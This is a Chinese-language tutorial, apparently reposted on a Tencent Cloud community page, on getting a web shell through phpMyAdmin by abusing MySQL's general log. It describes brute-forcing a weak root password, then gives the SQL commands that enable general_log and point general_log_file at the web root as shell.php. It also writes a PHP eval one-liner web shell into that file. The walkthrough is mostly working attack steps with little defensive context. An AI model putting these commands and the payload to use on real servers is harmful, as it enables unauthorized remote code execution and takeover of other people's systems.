前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >phpMyAdmin利用日志文件GetSHELL

phpMyAdmin利用日志文件GetSHELL

作者头像
渗透攻击红队
发布2019-11-19 14:59:58
4.4K0
发布2019-11-19 14:59:58
举报
文章被收录于专栏:漏洞知识库漏洞知识库

phpMyAdmin利用日志文件GetSHELL

phpMyAdmin简介

phpMyAdmin 是众多MySQL图形化管理工具中使用最为广泛的一种,是一款使用PHP 开发的基于B/S模式的MySQL客户端软件,该工具是基于 Web 跨平台的管理程序,并且支持简体中文,用户可以在官网上下载最新版本的。

GetSHELL前提

1、phpMyAdmin利用日志文件GetSHELL前提账号必须有可读可写权限

2、MySQL版本大于5.0MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以GetSHELL

3、满足上方两个条件,还需要知道网站的绝对路径,对于网站的绝对路径查找有很多方法,在我博客里有讲解到:http://www.liuwx.cn/penetrationtest-6.html

GetSHELL过程

这边是通过php探针获取到了网站的绝对路径:C:/phpStudy/WWW

接着是通过弱口令爆破来得到了phpMyAdmin的登陆账号密码:root

进入到phpMyAdmin管理页面后,得到一些关键信息:

  • 数据库服务器:
代码语言:javascript
复制
服务器: localhost via TCP/IP
软件: MySQL
软件版本: 5.5.40 - MySQL Community Server (GPL)
协议版本: 10
用户: root@localhost
服务器字符集: UTF-8 Unicode (utf8)
  • 网站服务器
代码语言:javascript
复制
Apache/2.4.10 (Win32) OpenSSL/0.9.8zb PHP/5.2.17
数据库客户端版本: libmysql - 5.0.51a
PHP 扩展: mysqli 文档

得知MySQL的版本是大于5.0,那么应该可以通过日志写入shell

查看日志的信息

代码语言:javascript
复制
show variables  like  '%general%';

日志读写默认是关闭的OFF,然后我们打开日志读写功能:

代码语言:javascript
复制
打开general_log日志读写功能
SET GLOBAL general_log='on'

创建文件

由于之前我们通过php探针得到了网站的绝对路径,然后我们就可以写入shell.php到网站的根目录下:

代码语言:javascript
复制
SET GLOBAL general_log_file='C:/phpStudy/WWW/shell.php'

这个时候,对应的路径下就会生成一个shell.php脚本文件:

写入一句话到shell.php

PHP一句话木马:

代码语言:javascript
复制
<?php @eval($_POST[liuwx]);?>

写入一句话语句:

代码语言:javascript
复制
SELECT '<?php @eval($_POST[liuwx]);?>'

这个时候就成功写入一句话到了shell.php里:

成功GetSHELL:

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • phpMyAdmin简介
  • GetSHELL前提
  • GetSHELL过程
    • 查看日志的信息
      • 创建文件
        • 写入一句话到shell.php
        相关产品与服务
        云数据库 SQL Server
        腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档